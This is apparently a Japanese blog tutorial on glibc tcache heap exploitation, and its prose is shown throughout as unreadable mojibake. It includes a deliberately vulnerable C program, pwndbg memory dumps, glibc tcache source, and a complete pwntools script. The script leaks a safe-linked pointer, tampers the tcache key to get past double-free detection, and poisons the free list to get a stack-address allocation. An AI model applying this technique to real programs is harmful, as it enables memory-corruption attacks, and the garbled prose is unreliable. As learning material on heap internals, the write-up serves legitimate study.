ãªãããï¼ãããããªè§£éï¼
ä»æ¥ã®éã³ç¸æ㯠glibc malloc ã¡ããã§ãã ä»åã¯ã¡ããã¨ãã解説ãç®æããè¨äºã§ã¯ãªãã§ãã
ãªããã
ã³ã¼ããèªãã ããä¸è¨ã®ã³ã¼ãããä½ã£ãèå¼±ãªå®è¡ãã¡ã¤ã«ã使ã£ããããªããæåãè¦ã¦ããã¾ãã
èå¼±ãªã³ã¼ãã¡ãã
#include <stdio.h> #include <stdlib.h> enum { SIZE = 100, }; void ignore() { scanf("%*c"); } void scan_len(size_t* p) { printf("int? "); scanf("%zu", p); ignore(); } void scan_str(unsigned char* p, size_t d) { printf("string? "); for (size_t i = 0; i < d; ++i) { scanf("%c", &p[i]); } ignore(); } void print_str(unsigned char* p, size_t d) { printf("string: "); for (size_t i = 0; i < d; ++i) { printf("%c", p[i]); } printf("\n"); } void vuln(void) { size_t i = 0; size_t len[SIZE] = {}; unsigned char* str[SIZE] = {}; printf("str: %p\n", str); char op; while (printf("op? "), scanf(" %c%*c", &op) == 1) { switch (op) { case '+': if (i < SIZE) { scan_len(&len[i]); str[i] = malloc(len[i]); scan_str(str[i], len[i]); ++i; } break; case '-': { size_t d; scan_len(&d); free(str[d]); } break; case '~': { size_t d; scan_len(&d); scan_str(str[d], len[d]); } break; case '@': { size_t d; scan_len(&d); print_str(str[d], len[d]); } break; case '.': return; default: } } } int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); vuln(); puts("done"); }
pwndbg/pwndbg ã使ã£ãããã¾ãã
ã¨ãããã malloc
[*] malloc(0x38), b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa' (gdb) tcachebins tcachebins empty (gdb) p tcache->entries[2] $1 = (tcache_entry *) 0x0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0xfffffffffffffff0: Cannot access memory at address 0xfffffffffffffff0
malloc()
ã ãããæç¹ã§ã¯ tcache entry 㯠NULL
ã®ã¾ã¾ã§ãã
ã¨ãããã free
[*] free(0) (gdb) tcachebins tcachebins 0x40 [ 1]: 0x5555555592a0 ââ 0 (gdb) p tcache->entries[2] $2 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x0000000555555559 0x30232822102e0fcf 0x5555555592b0: 0x6161616661616165 0x6161616861616167 0x5555555592c0: 0x6161616a61616169 0x6161616c6161616b 0x5555555592d0: 0x6161616e6161616d 0x0000000000020d31
free()
ãããã¨ï¼malloc()
ã®ãµã¤ãºãããããæããªã®ã§ï¼tcache ã«å
¥ãã¾ãã
typedef struct tcache_entry { struct tcache_entry *next; uintptr_t key; } tcache_entry;
#define PROTECT_PTR(pos, ptr) ((__typeof(ptr))((((size_t)pos) >> 12) ^ ((size_t)ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
tcache->entries[2]
ãæãã¦ãã 0x5555555592a0
ã«ãããã¤ã³ã¿ next == 0x555555559
ã¯ã
((0x5555555592a0 >> 12) ^ 0x555555559) == 0
ãæå³ãã¾ããã¾ããkey == 0x30232822102e0fcf
ã¯ï¼å®è¡ãã¨ã«åºå®ã®ï¼ä¹±æ°ã§ãfree()
ãã chunk ã tcache bins ã«å
¥ã£ãã¨ãã«ä»ä¸ããã¾ãã
ããã¯ãfree()
ãäºéã§è¡ããããã¨ããã®ãæ¤ç¥ããããã«ä½¿ããã¦ãã¾ãã
Use after free
ã¨ãããã¨ã§ããã®åãæ¸ãæãããã¨ã§ãããä¸åº¦ free()
ã§ããããã«ãªãã¾ãã
note: æ¸ãæããªãã£ãå ´åããã¬ã¦ free(): double free detected in tcache 2
ã¨è¨ãã㦠abort ãã¾ãã
èå¼±æ§ã®è¦³ç¹ã§è¨ãã°ãfree()
ããå¾ã¯ malloc()
ã§æã£ã¦ããã¢ãã¬ã¹ã«ã¯ãã©ã¤ãã©ãªå
é¨ã§ä½¿ã£ã¦ããå¤ãæ¸ããã¦ããã®ã§ããããæ¼ãããæ¸ãæãããããããã¨ãããªãããã§ããã
[!] .[0] = b'YUUU\x05\x00\x00\x00\xce\x0f.\x10"(#0oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaa' (gdb) tcachebins tcachebins 0x40 [ 1]: 0x5555555592a0 ââ 0 (gdb) p tcache->entries[2] $3 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x0000000555555559 0x30232822102e0fce 0x5555555592b0: 0x616161706161616f 0x6161617261616171 0x5555555592c0: 0x6161617461616173 0x6161617661616175 0x5555555592d0: 0x6161617861616177 0x0000000000020d31
ï¼cyclic ã®é¨åã¯é©å½ã«ãã£ã¦ãã¾ããï¼next
ã®é¨åã¯æ¸ãæãã¦ããªãã®ã§ãã¾ã tcache->entries[2]
ã«ã¯ãã¬ã¦ãã¾ããã
Double free
ãã¦ãfree()
ãã¡ããã¾ãããã
[*] free(0) (gdb) tcachebins tcachebins 0x40 [ 2]: 0x5555555592a0 ââ 0x5555555592a0 (gdb) p tcache->entries[2] $4 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x000055500000c7f9 0x30232822102e0fcf 0x5555555592b0: 0x616161706161616f 0x6161617261616171 0x5555555592c0: 0x6161617461616173 0x6161617661616175 0x5555555592d0: 0x6161617861616177 0x0000000000020d31
ãªããæªãããªã£ã¦ãã¾ããã
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *)chunk2mem(chunk); e->key = tcache_key; e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }
ä¸è¨ã®ããã«å¤ãå ¥ãã¾ãã
e->next = PROTECT_PTR(0x5555555592a0, 0x5555555592a0) = 0x55500000c7f9 tcache->entries[2] = 0x5555555592a0
PROTECT_PTR
ã¯ããã¾ã§ã¨ã³ã³ã¼ãå´ã®åé¡ã§ãè¦ããã« e->next
ãæããã®ã 0x5555555592a0
ã«ãªã£ãã¨ããã®ã大äºã§ããã
tcache poisoning
ç¶ãã¦ãnext
ãæ¸ãæãã¡ããã¾ãããã0x7fffffffe530
ãæãã¦ãããã¨ã«ãã¦ã¿ã¾ãã
å
¥ãããå¤ã¯ 0x7ffaaaaab069
ã§ããã¤ãåã¨ãã¦ã¯ b'i\xb0\xaa\xaa\xfa\x7f\x00\x00'
ã§ãã
[!] .[0] = b'i\xb0\xaa\xaa\xfa\x7f\x00\x00\xcf\x0f.\x10"(#0yaaazaabbaabcaabdaabeaabfaabgaabhaabiaab' (gdb) tcachebins tcachebins 0x40 [ 2]: 0x5555555592a0 â⸠0x7fffffffe530 ââ 0x7ffffffc6 /* '8' */ (gdb) p tcache->entries[2] $5 = (tcache_entry *) 0x5555555592a0 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x00007ffaaaaab069 0x30232822102e0fcf 0x5555555592b0: 0x6261617a61616179 0x6261616362616162 0x5555555592c0: 0x6261616562616164 0x6261616762616166 0x5555555592d0: 0x6261616962616168 0x0000000000020d31
0x7fffffffe530
ã®ã¢ãã¬ã¹ã«ã¯ 0x38
ãå
¥ã£ã¦ããã®ã§ãããã REVEAL_PTR
ã«éãã° 0x7ffffffc6
ã¨ãããã¨ã«ãªãã¾ãã
cf. pwndbg/chain.py
ãã¦ãmalloc()
ãããã¨ã§ tcache bins ãã chunk ãæã£ã¦ãã¾ãããã
[*] malloc(0x38), b'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaab' (gdb) tcachebins tcachebins 0x40 [ 1]: 0x7fffffffe530 ââ 0x7ffffffc6 /* '8' */ (gdb) p tcache->entries[2] $6 = (tcache_entry *) 0x7fffffffe530 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x7fffffffe520: 0x2b00000000000000 0x0000000000000000 0x7fffffffe530: 0x0000000000000038 0x0000000000000038 0x7fffffffe540: 0x0000000000000000 0x0000000000000000 0x7fffffffe550: 0x0000000000000000 0x0000000000000000 0x7fffffffe560: 0x0000000000000000 0x0000000000000000
é¢é£ããã®ã¯ä¸è¨ã®ãããã§ã
static __always_inline void *tcache_get_n(size_t tc_idx, tcache_entry **ep) { tcache_entry *e; if (ep == &(tcache->entries[tc_idx])) e = *ep; else e = REVEAL_PTR(*ep); if (__glibc_unlikely(!aligned_OK(e))) malloc_printerr("malloc(): unaligned tcache chunk detected"); if (ep == &(tcache->entries[tc_idx])) *ep = REVEAL_PTR(e->next); else *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next)); --(tcache->counts[tc_idx]); e->key = 0; return (void *)e; } static __always_inline void *tcache_get(size_t tc_idx) { return tcache_get_n(tc_idx, &tcache->entries[tc_idx]); }
å®è¡ããã¦ããã®ã¯ä¸è¨ã®ãããªæãã§ãã
tcache_entry **ep = &tcache->entries[tc_idx]; tcache_entry *e = REVEAL_PTR(*ep); *ep = PROTECT_PTR(ep, REVEAL_PTR(e->next)); --(tcache->counts[tc_idx]); e->key = 0; return (void *)e;
*ep == tcache->entries[tc_idx]
ã« e->next
ï¼ãã¨ã³ã³ã¼ããããã®ï¼ãå
¥ãããã¨ãã§ãã¦ãã¾ãã
ããä¸å£°ã
[*] malloc(0x38), b'8\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x90\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' (gdb) tcachebins tcachebins 0x40 [ 0]: 0x7ffffffc6 (gdb) p tcache->entries[2] $7 = (tcache_entry *) 0x7ffffffc6 (gdb) x/10gx (void*)tcache->entries[2]-0x10 0x7ffffffb6: Cannot access memory at address 0x7ffffffb6 (gdb) x/6a $rsp+0x30+800 0x7fffffffe850: 0x5555555592a0 0x5555555592a0 0x7fffffffe860: 0x7fffffffe530 0x0 0x7fffffffe870: 0x0 0x0
malloc()
ãããã¤ã³ã¿ãã¡ãæã£ã¦ããé
åãè¦ãã«ããããã« 0x7fffffffe530
ãæã«å
¥ã£ã¦ãããã¨ããããã¾ãã
ãµãããã
ãã£ãã®ã¯ä¸è¨ã®ãããªæµãã§ãã£ã¦ãã¾ãã
malloc(size) free(0) fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16])) tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) free(0) tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10))) malloc(size) malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18)))
ä¸è¨ã®ããã«ããã¨ãfree(0)
ããã段é㧠e->next
ãã¾ã¨ãã«æ»ããã¦ãã¾ãã®ã§ã ãããã§ãã
-tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) +tamper(0, flat(p64(fd ^ target_addr), p64(key ^ 1), next_cyclic(size - 0x10))) free(0)
ã¾ãã(target_addr & 0xF) == 0x0
ã§ãªãå ´åãmalloc(): unaligned tcache chunk detected
ã¨è¨ãã㦠abort ãã¾ãã
ã³ã¼ãå
¨ä½
import re import sys from pwn import * prompt = b"pwndbg> " cyclic_buf = iter(cyclic()) def next_cyclic(n): global cyclic_buf return bytes(next(cyclic_buf) for _ in range(n)) def malloc(size: int, data=None): p.clean() p.sendline(b"c") p.sendline(b"+") p.sendline(f"{size}".encode()) if data is None: data = next_cyclic(size) p.info(f"malloc({size:#x}), {data}") p.sendline(data) p.recvuntil(prompt) def free(index: int): p.clean() p.sendline(b"c") p.sendline(b"-") p.sendline(f"{index}".encode()) p.info(f"free({index})") p.recvuntil(prompt) def leak(index: int) -> bytes: p.sendline(b"c") p.sendline(b"@") p.clean() p.sendline(f"{index}".encode()) p.recvuntil(b"string: ") return p.recvuntil(b"\n\nBreakpoint 1,", drop=True) def tamper(index: int, data: bytes): p.clean() p.sendline(b"c") p.sendline(b"~") p.sendline(f"{index}".encode()) p.warn(f".[{index}] = {data}") p.sendline(data) p.recvuntil(prompt) def e(comm: bytes): p.clean() p.sendline(comm) print("(gdb)", comm.decode()) print(p.recvuntil(prompt, drop=True).decode()) def check(): e(b"tcachebins") e(b"p tcache->entries[2]") e(b"x/10gx (void*)tcache->entries[2]-0x10") breakaddr = 0x0000555555555419 p = process("gdb heap-bins", shell=True, stderr=sys.stderr) p.recvuntil(prompt) p.sendline(f"b *{breakaddr:#x}".encode()) p.sendline(b"r") p.recvuntil(b"str: ") str_addr = int(p.recvline()[:-1], 16) print(f"str_addr: {str_addr:#x}") target_addr = str_addr - 8 * 100 size = 0x38 malloc(size) check() free(0) check() fd, key = map(u64, (lambda s: [s[:8], s[8:]])(leak(0)[:16])) chunk = fd << 12 | 0x2A0 tamper(0, flat(p64(fd), p64(key ^ 1), next_cyclic(size - 0x10))) check() free(0) check() tamper(0, flat(p64(fd ^ target_addr), p64(key), next_cyclic(size - 0x10))) check() malloc(size) check() malloc(size, flat(p64(0x38), p64(0x38), p64(800 + 800 + 0x50), b"\0" * (size - 0x18))) check() e(b"x/6a $rsp+0x30+800")
ãããã¡
è¨èªä»æ§ã¨ãããã©ã¤ãã©ãªå´ã®è¦ç¹ã§è¨ãã°ãããããããã¤ã³ã¿ã使ã£ãå ´åã®åä½ã¯æªå®ç¾©ã§ããã§ãã³ã¼ãã®æ¸ãæå´ã¸ã®æãã¨ãã¦ã¯ãããããã³ã¼ãã¯æ¸ããªãããã«æ°ãã¤ããããããã¨ããæãã«ãªãã®ããããã話ããªãã¨æãã®ã§ãããæ»æå´ã®è¦ç¹ã§ãå®éã«ä¸ã§ã©ããªã£ã¦ãã¦ãã©ãããã°ãã¡ããã¡ãã«ã§ããã®ããªããã¨èããã®ã¯é¢ç½ããã§ãï¼ãã㯠CTF å ¨è¬ã«è¨ãããã¨ããï¼ã
è¦æ ¼ã§ã¯ âA translation unit shall not ...â ã¨ã¯æ¸ããã¦ãã¦ã âYou shall not write ...â ã®ãããªè¨ãæ¹ã¯ããã¦ããªãããã§ãå¦ç¿ç¨ã«ï¼åç¾æ§ããªãåæã¨ãã¯ããã£ãä¸ã§ï¼æªå®ç¾©åä½ã®ã³ã¼ããæ¸ãã®ã¯ãã£ã¨ãã£ã¦ããããããªãããªã¨æã£ã¦ãã¾ãã ããã¯ããå¦ç¿ç¨ã»èªåç¨ã®ããã¡ãããã°ã©ã ã§ããã°æªå®ç¾©åä½ãæ¸ããã¦ãã¦ãããã§ãããã¨ããæå³ã§ã¯ãªãã§ãã ãæªå®ç¾©åä½ãè¸ãã§ã¦ã大ä¸å¤«ã ãããã«æ £ããã®ã§ã¯ãªãã¦ãæªå®ç¾©åä½ãè¸ãã ã¨ãã«ãããªãå¯è½æ§ããããããããã¨ããé¨åã§éã¶ã®ãããããã¨ãã話ã§ããåè ãå§ãã人ã¯åå¼ãã¦ã»ããã§ãã
tcache bins ã«é¢ãã¦ã¯ãæ軽㫠exploit ã§ãããã ã£ãã®ã§éãã§ãã¾ãããããã以å¤ã® bin ãã¡ã«ã¤ãã¦ã¯ã¾ã ããããã£ã¦ããªãã®ã§ãã¾ãéã¼ãã¨æãã¾ãã 大æ ã®æµãï¼ã©ããã bin ããã£ã¦ãã©ãããæä½ãããã¨ã©ã® bin ã«å ¥ã£ã¦ãã¨ãï¼ããéã³æ¹ï¼ã©ãã«ãªãã®ã¢ãã¬ã¹ãå ¥ã£ã¦ãã¦ãã©ã辿ãã¨å é¨ç¶æ ãç¥ããã®ããã¨ãï¼ã¯ãªãã¨ãªãããã£ããããªæ°ããã¦ãã¾ãã
競ããæèã§ãçµå± malloc()
ã¨ãï¼ããã㯠std::vector
ã¨ãï¼ã£ã¦ã©ããªã£ã¦ãã®ï¼ãã¨ãã話ã¯ãçéã§ãã¡ããã¡ããåºããåºãªãã£ãããã¦ããè¨æ¶ã¯ããã¾ãããããæè¿ã¯ãã¾ãè¦ãªããããªæ°ããã¾ãã
ãããã C ã§ãã£ã¦ãã人èªä½ãå°ãããããªããããªã®ã¨ãæè¿ã¯ç¹ã«è¥è
ã®ä½ã¬ã¤ã¤ã¼é¢ãã®æµããããããããã¾ããï¼
競ãã er åãã«ä½ã¬ã¤ã¤ã¼ã® malloc()
ã¨ãã®è§£èª¬è¨äºããããã®ãæ¸ãäºå®ã¯ãªãã§ãããæ°ãå¤ããå¯è½æ§ãããã¾ãã
以åæ¸ãããè¨ç®éã big-O ã®è©±ããæµ®åå°æ°ç¹æ°ã誤差ã®è©±ãã®ããã«ãå¤ãã®äººã
ãé¿ãã¦ãããé°å²æ°ã§æ±ã£ã¦ããããã¦ã¾ã¨ããªç¥è¦ãå
±æããã¦ããªããããªãããã¯ãæ¼ãããã¨ããæ°æã¡ã¯ããã¾ãã
ããã
ãããã§ãã